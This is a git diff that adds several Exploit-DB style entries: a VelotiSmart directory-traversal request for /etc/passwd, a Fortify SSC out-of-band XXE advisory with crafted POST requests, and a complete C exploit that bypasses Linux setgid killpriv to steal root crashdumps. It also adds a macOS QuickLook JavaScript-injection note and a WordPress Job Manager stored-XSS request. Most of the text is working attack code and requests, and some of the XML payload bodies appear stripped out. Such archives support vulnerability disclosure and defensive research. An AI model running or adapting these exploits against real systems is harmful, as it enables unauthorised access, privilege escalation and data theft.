diff --git a/exploits/hardware/webapps/45030.txt b/exploits/hardware/webapps/45030.txt
new file mode 100644
index 000000000..f373ef0cd
--- /dev/null
+++ b/exploits/hardware/webapps/45030.txt
@@ -0,0 +1,22 @@
+Title: Vulnerability in VelotiSmart Wifi - Directory Traversal
+Date: 12-07-2018
+Scope: Directory Traversal
+Platforms: Unix
+Author: Miguel Mendez Z
+Vendor: VelotiSmart
+Version: B380
+CVE: CVE-2018–14064
+
+
+Vulnerability description
+-------------------------
+- The vulnerability that affects the device is LFI type in the uc-http service 1.0.0. What allows to obtain information of configurations, wireless scanned networks, sensitive directories, etc. Of the device.
+
+Vulnerable variable:
+http://domain:80/../../etc/passwd
+
+Exploit link:
+https://github.com/s1kr10s/ExploitVelotiSmart
+
+Poc:
+https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac
\ No newline at end of file
diff --git a/exploits/java/webapps/45027.txt b/exploits/java/webapps/45027.txt
new file mode 100644
index 000000000..64e27e915
--- /dev/null
+++ b/exploits/java/webapps/45027.txt
@@ -0,0 +1,208 @@
+Details
+================
+Software: Fortify SSC (Software Security Center)
+Version: 17.10, 17.20 & 18.10
+Homepage: https://www.microfocus.com
+Advisory report: https://github.com/alt3kx/CVE-2018-12463
+CVE: CVE-2018-12463 at https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12463
+CVSS: HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)
+CWE-611, CWE-918
+
+Description
+================
+Out-of-Band XML External Entity (OOB-XXE) An XML External Entity attack is a type of attack against an application that parses XML input.
+
+This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of
+confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
+
+Vulnerability
+================
+XML external entity (XXE) vulnerability in /ssc/fm-ws/services in Fortify Software Security Center (SSC) 17.10, 17.20 & 18.10 allows remote unauthenticated users to read arbitrary
+files or conduct server-side request forgery (SSRF) attacks via a crafted DTD in an XML request.
+
+Proof of concept Exploit
+==========================
+
+The offending POST method below:
+
+POST /ssc/fm-ws/services HTTP/1.1
+Accept-Encoding: gzip, deflate
+SOAPAction: ""
+Accept: text/xml
+Content-Type: text/xml; charset=UTF-8; text/html;
+Cache-Control: no-cache
+Pragma: no-cache
+User-Agent: Java/1.8.0_121
+Host: fortifyserver.com
+Connection: close
+Content-Length: 1765
+
+
+ <-- HERE!!!
+
+
+
+
+ 2018-05-24T14:27:02.619Z
+ 2018-05-24T14:32:02.619Z
+
+
+ XXXXXXX
+ XXXXXXXXXXX
+
+
+
+
+
+ AnalysisUploadToken
+
+
+
+
+Note: As remark that is not necessary to be used the credentials or any authentication, the POST method above was extracted using Burp Suite to know the
+exact API path and data sending to the server.
+
+RedTeam Vector (1): Using “Transitional” payload, connection to HTTP server (intruder). it works!
+
+POST /ssc/fm-ws/services HTTP/1.1
+Accept-Encoding: gzip, deflate
+SOAPAction: ""
+Accept: text/xml
+Content-Type: text/xml; charset=UTF-8; text/html;
+Cache-Control: no-cache
+Pragma: no-cache
+User-Agent: Java/1.8.0_121
+Host: fortifyserver.com
+Connection: close
+Content-Length: 1789
+
+
+
+
+[../snip]
+
+RedTeam Vector (2): Classic "OOB XXE" payload, connection to HTTP server (intruder), it works!
+
+POST /ssc/fm-ws/services HTTP/1.1
+Accept-Encoding: gzip, deflate
+SOAPAction: ""
+Accept: text/xml
+Content-Type: text/xml; charset=UTF-8
+Cache-Control: no-cache
+Pragma: no-cache
+User-Agent: Java/1.8.0_121
+Host: fortifyserver.com
+Connection: close
+Content-Length: 1750
+
+
+
+&send;
+
+[../snip]
+
+
+RedTeam Vector (3): FTP payload with ruby FTP server emulator
+
+POST /ssc/fm-ws/services HTTP/1.1
+Accept-Encoding: gzip, deflate
+SOAPAction: ""
+Accept: text/xml
+Content-Type: text/xml; charset=UTF-8
+Cache-Control: no-cache
+Pragma: no-cache
+User-Agent: Java/1.8.0_121
+Host: fortifyserver.com
+Connection: close
+Content-Length: 1769
+
+
+
+
+[../snip]
+
+
+RedTeam Vector (4): FTP payloads with FTP python server
+
+POST /ssc/fm-ws/services HTTP/1.1
+Accept-Encoding: gzip, deflate
+SOAPAction: ""
+Accept: text/xml
+Content-Type: text/xml; charset=UTF-8
+Cache-Control: no-cache
+Pragma: no-cache
+User-Agent: Java/1.8.0_121
+Host: fortifyserver.com
+Connection: close
+Content-Length: 1769
+
+
+
+
+[../snip]
+
+
+RedTeam Vector (5): FTP payload, server compromised
+
+POST /ssc/fm-ws/services HTTP/1.1
+Accept-Encoding: gzip, deflate
+SOAPAction: ""
+Accept: text/xml
+Content-Type: text/xml; charset=UTF-8
+Cache-Control: no-cache
+Pragma: no-cache
+User-Agent: Java/1.8.0_121
+Host: fortifyserver.com
+Connection: close
+Content-Length: 1769
+
+
+
+
+[../snip]
+
+
+Mitigations
+================
+Provided by the vendor here:
+
+Document ID: KM03201563
+https://softwaresupport.softwaregrp.com/document/-/facetsearch/document/KM03201563
+
+Disclosure policy
+================
+We believes in responsible disclosure.
+Please contact us on Alex Hernandez aka alt3kx () protonmail com to acknowledge this report.
+
+This vulnerability will be published if we do not receive a response to this report with 10 days.
+
+Timeline
+================
+
+2018-05-24: Discovered
+2018-05-25: Retest PRO environment
+2018-05-31: Vendor notification, two issues found
+2018-05-31: Vendor feedback received
+2018-06-01: Internal communication
+2018-06-01: Vendor feedback, two issues are confirmed
+2018-06-05: Vendor notification, new issue found
+2018-06-06: Vendor feedback, evaluating High submission
+2018-06-08: Vendor feedback, High issue is confirmed
+2018-06-19: Researcher, reminder sent
+2018-06-22: Vendor feedback, summary of CVEs handled as official way
+2018-06-26: Vendor feedback, official Hotfix for High issue available to test
+2018-06-29: Researcher feedback
+2018-07-02: Researcher feedback
+2018-07-04: Researcher feedback, Hotfix tested on QA environment
+2018-07-05: Vendor feedback
+2018-07-09: Vendor feedback, final details to disclosure the CVE and official Hotfix availabe for customers.
+2018-07-09: Vendor feedback, CVE and official Hotfix to be disclosure
+2018-07-12: Agreements with the vendor to publish the CVE/Advisory.
+2018-07-12: Public report
\ No newline at end of file
diff --git a/exploits/linux/dos/45033.c b/exploits/linux/dos/45033.c
new file mode 100644
index 000000000..9a8ddeed1
--- /dev/null
+++ b/exploits/linux/dos/45033.c
@@ -0,0 +1,177 @@
+/*
+Note: I am both sending this bug report to security@kernel.org and filing it in
+the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
+or as a Ubuntu bug. You may wish to talk to each other to determine the best
+place to fix this.
+
+I noticed halfdog's old writeup at
+https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
+, describing essentially the following behavior in combination with a
+trick for then writing to the resulting file without triggering the
+killpriv logic:
+
+
+=============
+user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
+user@debian:~/sgid_demo$ cat > demo.c
+#include
+int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
+user@debian:~/sgid_demo$ gcc -o demo demo.c
+user@debian:~/sgid_demo$ ./demo
+user@debian:~/sgid_demo$ ls -l dir/file
+-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
+=============
+
+
+Two patches for this were proposed on LKML back then:
+"[PATCH 1/2] fs: Check f_cred instead of current's creds in
+should_remove_suid()"
+https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/
+
+"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"
+https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/
+
+However, as far as I can tell, neither of them actually landed.
+
+
+You can also bypass the killpriv logic with fallocate() and mmap() -
+fallocate() permits resizing the file without triggering killpriv,
+mmap() permits writing without triggering killpriv (the mmap part is mentioned
+at
+https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/
+):
+
+
+=============
+user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
+user@debian:~/sgid_demo$ cat fallocate.c
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+int main(void) {
+ int src_fd = open("/usr/bin/id", O_RDONLY);
+ if (src_fd == -1)
+ err(1, "open 2");
+ struct stat src_stat;
+ if (fstat(src_fd, &src_stat))
+ err(1, "fstat");
+ int src_len = src_stat.st_size;
+ char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
+ if (src_mapping == MAP_FAILED)
+ err(1, "mmap 2");
+
+ int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
+ if (fd == -1)
+ err(1, "open");
+ if (fallocate(fd, 0, 0, src_len))
+ err(1, "fallocate");
+ char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
+ if (mapping == MAP_FAILED)
+ err(1, "mmap");
+
+
+ memcpy(mapping, src_mapping, src_len);
+
+ munmap(mapping, src_len);
+ close(fd);
+ close(src_fd);
+
+ execl("./dir/file", "id", NULL);
+ err(1, "execl");
+}
+user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
+user@debian:~/sgid_demo$ ./fallocate
+uid=1000(user) gid=1000(user) egid=0(root)
+groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
+=============
+
+
+sys_copy_file_range() also looks as if it bypasses killpriv on
+supported filesystems, but I haven't tested that one so far.
+
+On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
+contains group-readable crashdumps in some custom format, so you can use this
+issue to steal other users' crashdumps:
+
+
+=============
+user@ubuntu-18-04-vm:~$ ls -l /var/crash
+total 296
+-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
+-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
+-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
+-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
+-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
+user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
+cat: /var/crash/_usr_bin_id.0.crash: Permission denied
+user@ubuntu-18-04-vm:~$ cat fallocate.c
+*/
+
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ printf("usage: ./fallocate ");
+ return 1;
+ }
+ int src_fd = open("/bin/cat", O_RDONLY);
+ if (src_fd == -1)
+ err(1, "open 2");
+ struct stat src_stat;
+ if (fstat(src_fd, &src_stat))
+ err(1, "fstat");
+ int src_len = src_stat.st_size;
+ char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
+ if (src_mapping == MAP_FAILED)
+ err(1, "mmap 2");
+
+ unlink("/var/crash/privileged_cat"); /* in case we've already run before */
+ int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);
+ if (fd == -1)
+ err(1, "open");
+ if (fallocate(fd, 0, 0, src_len))
+ err(1, "fallocate");
+ char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
+ if (mapping == MAP_FAILED)
+ err(1, "mmap");
+ memcpy(mapping, src_mapping, src_len);
+ munmap(mapping, src_len);
+ close(fd);
+
+ execl("/var/crash/privileged_cat", "cat", argv[1], NULL);
+ err(1, "execl");
+}
+
+/*
+user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c
+user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen
+user@ubuntu-18-04-vm:~$ ls -l /var/crash
+total 384
+-rwxr-sr-x 1 user whoopsie 35064 Jul 3 19:22 privileged_cat
+-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
+-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
+-rw-r--r-- 1 user whoopsie 50706 Jul 3 19:22 _usr_bin_id.0.crash.stolen
+-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
+-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
+-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
+user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked
+user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack
+user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen
+user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/
+user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump
+root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'
+*/
\ No newline at end of file
diff --git a/exploits/multiple/dos/45032.txt b/exploits/multiple/dos/45032.txt
new file mode 100644
index 000000000..9467b3d5f
--- /dev/null
+++ b/exploits/multiple/dos/45032.txt
@@ -0,0 +1,18 @@
+QuickLook is a widely used feature in macOS/iOS which allows you to preview various formats such as pdf, docx, pptx, etc. The way it uses to show office files is quite interesting. First it parses the office file and converts it to HTML code using OfficeImport and renders it using WebKit. The problem is, it doesn't filter the names of fonts when generating HTML code from them. We can abuse it to inject arbitrary JavaScript code. Namely, we can execute arbitrary JavaScript code via an office file.
+
+OfficeImport is located at /System/Library/PrivateFrameworks/OfficeImport.framework/Versions/A/OfficeImport.
+
+I attached a PoC that will just print out "location.href". You can test it by "Right click -> Quick Look" on macOS or just opening the PoC file on iOS.
+
+Here's the document.xml file of the PoC file where I injected JavaScript code.
+
+
+asdfasdfasdfasdfsasdfadfasadfas
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/45032.zip
\ No newline at end of file
diff --git a/exploits/php/webapps/45031.txt b/exploits/php/webapps/45031.txt
new file mode 100644
index 000000000..36a0e0a63
--- /dev/null
+++ b/exploits/php/webapps/45031.txt
@@ -0,0 +1,102 @@
+# Exploit Title: Wordpress Plugin Job Manager v4.1.0 Stored Cross Site
+Scripting
+# Google Dork: N/A
+# Date: 2018-07-15
+# Exploit Author: Berk Dusunur & Selimcan Ozdemir
+# Vendor Homepage: https://wpjobmanager.com
+# Software Link: https://downloads.wordpress.org/plugin/wp-job-manager.latest-stable.zip
+# Affected Version: v4.1.0
+# Tested on: Parrot OS / WinApp Server
+# CVE : N/A
+
+# Proof Of Concept
+
+
+POST
+/post-a-job/?step=%00foymtv%22%20method=%22post%22%20id=%22submit-job-form%22%20class=%22job-manager-form%22%20enctype=%22multipart/form-data%22%3E%3Cscript%3Ealert(%271%27)%3C/script%3E%3Cform%20action=%22/post-a-job/?step=%00foymtv
+HTTP/1.1
+Host: target
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101
+Firefox/59.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer:
+https://target/post-a-job/?step=%00foymtv22%20method=%22post%22%20id=%22submit-job-form%22%20class=%22job-manager-form%22%20enctype=%22multipart/form-data%22%3E%3Cscript%3Ealert(%271%27)%3C/script%3E%3Cform%20action=%22/post-a-job/?step=%00foymtv
+Content-Type: multipart/form-data;
+boundary=---------------------------3756777582569023921817540904
+Content-Length: 2379
+Cookie: wp-job-manager-submitting-job-id=88664;
+wp-job-manager-submitting-job-key=5ae8875580aff
+DNT: 1
+Connection: close
+Upgrade-Insecure-Requests: 1
+Cache-Control: max-age=0
+
+-----------------------------3756777582569023921817540904
+Content-Disposition: form-data; name="job_title"
+
+teertert